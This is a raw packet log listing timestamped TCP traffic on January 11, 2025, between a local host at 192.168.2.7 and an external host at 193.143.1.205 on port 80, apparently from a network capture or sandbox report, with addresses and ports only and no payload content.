Jan 11, 2025 02:16:29.270284891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.270293951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270332098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270365953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270387888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.270400047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270452023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270467043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.270486116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270519972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270529985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.270553112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270590067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270601988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.270699024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270733118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270754099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.270766020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270801067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.270812035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.271013021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271049976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271070004 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.271083117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271116018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271131992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.271148920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271182060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271193027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.271380901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271414042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271434069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.271447897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271481037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271495104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.271514893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271547079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271564007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.271579981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271617889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271630049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.271912098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271945000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.271960020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.271979094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272022009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.272028923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272062063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272094011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272104025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.272126913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272159100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272191048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272212029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.272223949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272247076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.272257090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272289991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272310019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.272321939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272353888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272365093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.272389889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272427082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.272823095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272856951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272905111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.272907019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272942066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272973061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.272988081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.273020983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273055077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273067951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.273087978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273116112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273132086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.273149967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273183107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273192883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.273216963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273262024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.273601055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273650885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273683071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273696899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.273720026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273751974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273765087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.273796082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273829937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273859024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.273863077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273899078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.273911953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.280436993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.293174982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.293205023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.293216944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.293230057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.293245077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.293278933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.293292999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.293334007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.294874907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.302515984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.303874016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.303910971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.303960085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.303962946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.303996086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.304028988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.304039955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.304061890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.304097891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.304121017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.304230928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.304264069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.304280043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.304313898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.304347038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.304358006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.304383039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.304430008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.304596901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.304630041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.304662943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.304676056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.311342001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.312479019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.312539101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.312542915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.312580109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.312623024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.312625885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.312659979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.312706947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.312778950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.312813044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.312864065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.312871933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.312896013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.312930107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.312936068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.313023090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313055038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313072920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.313086987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313119888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313137054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.313535929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313587904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.313591003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313622952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313680887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.313746929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313776016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313810110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313822031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.313843012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313875914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313882113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.313910007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.313957930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.321482897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.336802006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.336833000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.336848021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.336884975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.336929083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.336941004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.336952925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.336983919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.337008953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.337090969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.337104082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.337141037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.337229967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.337241888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.337254047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.337265015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.337274075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.337316990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.337459087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.337471962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.337513924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.339454889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.356317043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356328964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356340885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356353045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356411934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.356457949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356470108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356511116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.356620073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356631041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356642008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356652975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356667042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.356693029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.356765985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356856108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356867075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356878042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356889963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356899977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356909037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.356911898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.356935978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.357249022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357261896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357291937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.357338905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357352018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357362986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357373953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357383966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357384920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.357394934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357423067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.357425928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357443094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.357470989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.357871056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357882977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357893944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357903957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357914925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357923985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.357925892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357939005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357949018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357959032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357964039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.357970953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357983112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.357994080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.358011961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.358500957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.358513117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.358524084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.358534098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.358545065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.358549118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.358557940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.358570099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.358578920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.358582020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.358592033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.358601093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.358604908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.358643055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.359226942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359246016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359256029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359266996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359273911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.359277964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359291077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359292984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.359302044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359328032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.359328985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359342098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359348059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.359354019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359366894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359376907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359379053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.359388113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.359407902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.359421015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.361280918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.361299992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.361310959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.361346960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.361406088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.361443996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.361474991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.361486912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.361520052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.361618042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.364769936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.381958961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.381974936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.381988049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382030010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.382035971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382049084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382088900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.382102966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.382133961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382147074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382184029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.382324934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382335901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382347107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382359028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382369041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382376909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.382380962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382394075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382395983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.382421970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.382669926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382716894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.382761002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382771969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382782936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382795095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382807016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.382807016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.382834911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.382989883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.383001089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.383013010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.383024931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.383033991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.383060932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.399034977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.399054050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.399066925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.399091005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.399117947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.399132967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.399144888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.399157047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.399169922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.399197102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.399226904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.399828911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.399863005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.399897099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.399909973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.400007963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.400043011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.400058031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:16:29.400141001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:16:29.400175095 CET	80	49699	193.143.1.205	192.168.2.7
